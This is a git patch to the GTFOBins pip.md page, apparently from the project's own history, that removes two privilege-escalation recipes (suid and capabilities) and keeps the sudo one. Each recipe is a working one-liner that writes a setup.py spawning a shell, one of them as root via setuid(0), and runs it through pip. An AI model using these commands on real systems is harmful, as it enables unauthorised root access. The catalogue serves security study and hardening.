From be7f7b87a09da9e376670a5d17fec86ba268cbeb Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Thu, 27 Sep 2018 21:54:50 +0100 Subject: [PATCH] Remove capabilities-enabled and sudo-enabled from pip --- _gtfobins/pip.md | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/_gtfobins/pip.md b/_gtfobins/pip.md index 2b77a5c..d422b67 100644 --- a/_gtfobins/pip.md +++ b/_gtfobins/pip.md @@ -66,19 +66,9 @@ functions: TF=$(mktemp -d) echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py pip install $TF - suid-enabled: - - code: | - TF=$(mktemp -d) - echo "import os; os.execl('/bin/sh', 'sh', '-p', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py - ./pip install $TF sudo-enabled: - code: | TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF - capabilities-enabled: - - code: | - TF=$(mktemp -d) - echo "import os; os.setuid(0); os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py - ./pip install $TF ---